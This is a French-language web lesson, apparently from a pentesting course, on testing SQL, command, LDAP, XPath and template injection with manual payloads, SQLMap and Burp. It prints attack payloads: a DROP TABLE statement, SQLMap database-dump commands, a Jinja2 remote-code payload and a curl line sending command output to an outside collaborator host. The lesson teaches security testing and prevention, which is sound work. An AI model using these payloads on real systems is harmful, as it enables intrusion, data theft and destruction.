Tester les vulnérabilités par injection
Utilisez SQLMap, des charges utiles manuelles et Burp pour tester les injections SQL, de commandes et LDAP.
Tester les vulnérabilités par injection est une leçon Cyber Security Academy gratuite sur CoddyKit. Ceci est la leçon 2 sur 4. Tu peux lire la leçon complète ci-dessous gratuitement — puis la pratiquer en direct dans le navigateur avec un éditeur de code intégré et un tuteur IA 24/7. Elle fait partie du parcours d'apprentissage Cyber Security Academy, et ta progression se synchronise sur le web et l'application CoddyKit. Le cours Cyber Security Academy comprend 4 leçons au total.
Catégories de vulnérabilités par injection
Une injection se produit lorsque des données non fiables sont envoyées à un interpréteur comme partie d'une commande ou d'une requête. L'interpréteur ne peut pas distinguer les données des commandes et exécute une logique contrôlée par l'attaquant. Les injections SQL, de commandes, LDAP, XPath et de modèles appartiennent toutes à cette catégorie.
Injection SQL : tests manuels
Commencez par des charges utiles simples pour rechercher une injection SQL. Une apostrophe provoque une erreur de syntaxe SQL dans les applications vulnérables. Vérifiez les messages d'erreur, les différences de longueur des réponses et le temps de réponse.
# Test for SQLi:
' -- basic quote
'' -- doubled quote
1' OR '1'='1 -- always-true
1; DROP TABLE users -- statement terminator
# In URL:
https://target.com/item?id=1'SQLMap pour automatiser l'injection SQL
SQLMap automatise la détection et l'exploitation de l'injection SQL : il détecte les points d'injection, identifie le DBMS et peut extraire des bases de données, utiliser l'opération read pour lire des fichiers et obtenir l'exécution de code au niveau de l'OS sur des systèmes vulnérables.
# Basic scan
sqlmap -u 'http://target.com/item?id=1'
# With Burp request file
sqlmap -r request.txt
# Dump databases
sqlmap -u 'http://target.com/item?id=1' --dbs
# Dump a table
sqlmap -u '...' -D mydb -T users --dumpTests d'injection de commandes
L'injection de commandes se produit lorsque l'entrée utilisateur est transmise aux fonctions du shell de l'OS. Testez avec des métacaractères du shell : points-virgules, barres verticales, accents graves et substitution de commande $().
# Test inputs (form fields, URLs, headers):
; id
| id
`id`
$(id)
&& id
# Blind (no output): use time delays
; sleep 5
| ping -c 5 127.0.0.1
# Or out-of-band:
; curl http://collaborator.example.com/$(id)Injection LDAP
L'injection LDAP manipule les requêtes LDAP utilisées pour l'authentification et les recherches dans l'annuaire. Testez les champs d'authentification avec : *)(uid=*))(|(uid=* pour contourner les filtres.
Injection XPath
L'injection XPath cible les systèmes d'authentification basés sur XML. Comme pour l'injection SQL, les charges utiles manipulent les requêtes XPath : ' or '1'='1 pour contourner l'authentification.
Injection de modèle (SSTI)
L'injection de modèle côté serveur se produit lorsque l'entrée utilisateur est rendue par un moteur de modèles (Jinja2, Twig, Freemarker). Pour la détecter, injectez {{7*7}} : si la réponse affiche 49, une SSTI est présente.
# Detection payloads:
{{7*7}} # Jinja2, Twig
${7*7} # Freemarker, EL
<%= 7*7 %> # ERB (Ruby)
# RCE via Jinja2:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}Utiliser Burp pour tester les injections
Envoyez les requêtes à Repeater et injectez manuellement des charges utiles dans chaque paramètre. Utilisez Intruder pour automatiser les tests aléatoires avec des listes de mots d'injection (SecLists contient d'excellentes charges utiles d'injection).
# SecLists injection wordlists:
/usr/share/seclists/Fuzzing/SQLi/
/usr/share/seclists/Fuzzing/SSTI/
/usr/share/seclists/Fuzzing/command-injection*Détection des injections à l'aveugle
Lorsqu'aucune sortie n'est visible, utilisez : des délais pour confirmer l'exécution, des rappels DNS OOB (Burp Collaborator ou interactsh) et des réponses fondées sur des booléens (changements de longueur du contenu).
Lecture des messages d'erreur de l'application
Les erreurs détaillées révèlent le type de base de données, la structure de la requête et les chemins de fichiers — des informations inestimables pour élaborer des charges utiles précises. Testez toujours avec des entrées révélant le débogage ou les erreurs en plus des charges utiles normales.
Référence sur la prévention
L'injection est évitée grâce aux requêtes paramétrées (injection SQL), à la validation des entrées et à l'échappement du shell (injection de commandes), ainsi qu'à l'absence de rendu de modèles à partir des entrées utilisateur (SSTI). Les développeurs doivent comprendre ces principes pour écrire du code sécurisé.
Vérification rapide
Que confirme la charge utile de détection de la SSTI {{7*7}} lorsque la réponse affiche 49 ?
Résumé : tests d'injection
Les vulnérabilités par injection sont causées par le mélange des données et des commandes. Testez chaque entrée contrôlée par l'utilisateur avec des charges utiles d'injection SQL, de commandes, de modèles et LDAP. Utilisez SQLMap pour automatiser l'injection SQL, Burp Repeater pour les tests manuels et les techniques de délai/OOB pour l'exploitation à l'aveugle. Documentez toujours les charges utiles et les éléments probants dans le rapport.
Questions Fréquemment Posées
La leçon « Tester les vulnérabilités par injection » est-elle gratuite ?
Oui — le texte complet de « Tester les vulnérabilités par injection » est gratuit à lire ici sur le web. Pour la pratiquer de manière interactive (un éditeur de code intégré et un tuteur IA 24/7) et déverrouiller le reste du cours Cyber Security Academy, passe à CoddyKit PRO. Le cours Cyber Security Academy comprend 4 leçons au total.
Qu'est-ce que j'apprendrai dans « Tester les vulnérabilités par injection » ?
Utilisez SQLMap, des charges utiles manuelles et Burp pour tester les injections SQL, de commandes et LDAP. Tu pratiques Cyber Security Academy avec du code pratique que tu exécutes directement dans le navigateur, et un tuteur IA 24/7 répond à tes questions au fur et à mesure que tu avances dans la leçon.
Dois-je avoir de l'expérience pour commencer Cyber Security Academy ?
Aucune expérience préalable n'est requise. Cyber Security Academy sur CoddyKit est structuré pour les débutants jusqu'aux apprenants avancés, donc tu peux commencer ici ou depuis le début et avancer à ton rythme. Ceci est la leçon 2 sur 4.
Combien de temps prend la leçon « Tester les vulnérabilités par injection » ?
La plupart des leçons CoddyKit prennent environ 5–10 minutes. Chacune est courte et interactive, tu progresses régulièrement et tu repiques exactement où tu t'es arrêté sur le web et l'app.
Peux-tu écrire et exécuter du code dans cette leçon Cyber Security Academy ?
Oui. Chaque leçon Cyber Security Academy inclut un éditeur de code intégré, tu écris et exécutes du vrai code directement dans ton navigateur et tu reçois des retours IA instantanés — aucune configuration locale requise.
Toutes les leçons de ce cours
- Proxy Burp Suite et interception des requêtes
- Tester les vulnérabilités par injection
- Tests d’authentification et de session
- Vulnérabilités de téléversement de fichiers et SSRF